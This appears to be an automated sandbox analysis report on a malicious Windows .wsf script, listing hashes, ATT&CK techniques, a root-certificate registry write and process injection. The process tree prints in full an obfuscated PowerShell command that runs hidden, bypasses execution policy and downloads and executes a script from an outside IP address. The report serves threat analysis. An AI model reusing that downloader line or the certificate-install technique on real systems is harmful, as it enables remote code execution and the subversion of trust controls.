cc3142e5a57ed925b842b9518b73dd50bf2e670ca954cffcec931adaf2c7f943

General

Target

cc3142e5a57ed925b842b9518b73dd50bf2e670ca954cffcec931adaf2c7f943.wsf
Size

259KB
MD5

79615b779cd90313367de9f6b05eb87e
SHA1

d4b2b0caffacb205898c6590eb28840933535d97
SHA256

cc3142e5a57ed925b842b9518b73dd50bf2e670ca954cffcec931adaf2c7f943
SHA512

b07ab709a4431031f7e2e939ff82572accb8bbe6464479c8e9bfc399aec7da233c21f901d9a8d952fe077486c579b1de0d24f1632f96ec1ba39b81f6736fb9db
SSDEEP

3072:6XGxpnyPWD4v6V2BBGKBukGl4a3j3iFNj6pWFAc8ytiO8ywbv7r3SopyPCEXQkPK:Rt5M6c/n1x/rzAcfqys28Eq59CY

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2260	WScript.exe
7	2260	WScript.exe
8	2812	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2812	powershell.exe

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	WScript.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2812	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2812	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2260 wrote to memory of 2812	2260	WScript.exe	31
PID 2260 wrote to memory of 2812	2260	WScript.exe	31
PID 2260 wrote to memory of 2812	2260	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cc3142e5a57ed925b842b9518b73dd50bf2e670ca954cffcec931adaf2c7f943.wsf"
1⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$g45e='IeX(NeW-OBJeCT NeT.W';$df54='eBCLIeNT).DOWNLO';$5s4d='repoooos(''http://81.10.39.58:8080/test//Update.php'')'.RePLACe('repoooos','ADSTRING');Sleep 1;IeX($g45e+$df54+$5s4d);
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2812-17-0x000007FEF580E000-0x000007FEF580F000-memory.dmp

Filesize
4KB

Download
memory/2812-18-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/2812-19-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/2812-21-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/2812-20-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2812-22-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/2812-23-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/2812-24-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/2812-29-0x000007FEF580E000-0x000007FEF580F000-memory.dmp

Filesize
4KB

Download
memory/2812-30-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/2812-31-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download

Analysis

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